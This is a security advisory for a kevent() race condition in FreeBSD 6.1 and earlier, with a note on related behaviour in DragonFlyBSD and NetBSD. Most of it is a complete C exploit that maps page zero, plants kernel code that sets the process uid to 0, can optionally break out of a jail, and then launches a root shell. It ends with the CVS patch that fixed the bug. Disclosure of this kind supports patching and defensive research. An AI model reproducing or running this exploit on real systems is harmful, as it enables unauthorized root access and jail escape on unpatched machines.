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FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.
The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
was not recognized as security vulnerability.
In fact, the same bug affects DragonFlyBSD 2.2.1 and NetBSD 5.0.1, but
it seems to be not-exploitable due to mutexes. In case of NetBSD,
exploitation attempt causes kernel-mode deadlock, therefore
process is unkillable (even with SIGKILL) until reboot, which can lead
to DoS.
The following code exploits this vulnerability to run root shell on
FreeBSD 6.1.
/* 22.08.2009, babcia padlina
* FreeBSD 6.1 kevent() race condition exploit
*
* works only on multiprocessor systems
* gcc -o padlina padlina.c -lpthread
* -DPRISON_BREAK if you want to exit from jail
*
* with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion
*/
#define _KERNEL
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>
int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;
static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
thread->td_proc->p_ucred->cr_prison = NULL;
#endif
return;
}
static void code_end(void) {
return;
}
void do_thread(void) {
usleep(100);
while (!gotroot) {
memset(&kev, 0, sizeof(kev));
EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);
if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
perror("kevent");
}
return;
}
void do_thread2(void) {
while(!gotroot) {
if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0)
perror("open");
close(fd);
}
return;
}
int main(void) {
int i;
pthread_t pth, pth2;
if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("mmap");
return -1;
}
memcpy(0, &kernel_code, &code_end - &kernel_code);
if ((kq = kqueue()) < 0) {
perror("kqueue");
return -1;
}
pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
timeout.tv_sec = 0;
timeout.tv_nsec = 1;
printf("waiting for root...\n");
i = 0;
while (!gotroot && i++ < 10000)
usleep(100);
setuid(0);
if (getuid()) {
printf("failed - system patched or not MP\n");
return -1;
}
printf("hwdp!\n");
execl("/bin/sh", "sh", NULL);
return 0;
}
Patch for this vulnerability, as in CVS:
--- src/sys/kern/kern_descrip.c 2006/09/04 10:30:09 1.279.2.8
+++ src/sys/kern/kern_descrip.c 2006/09/29 18:30:48 1.279.2.9
@@ -35,7 +35,7 @@
*/
#include <sys/cdefs.h>
-__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.8 2006/09/04 10:30:09 pjd Exp $");
+__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.9 2006/09/29 18:30:48 jmg Exp $");
#include "opt_compat.h"
#include "opt_ddb.h"
@@ -2602,7 +2602,7 @@ static int
badfo_kqfilter(struct file *fp, struct knote *kn)
{
- return (0);
+ return (EBADF);
}
static int
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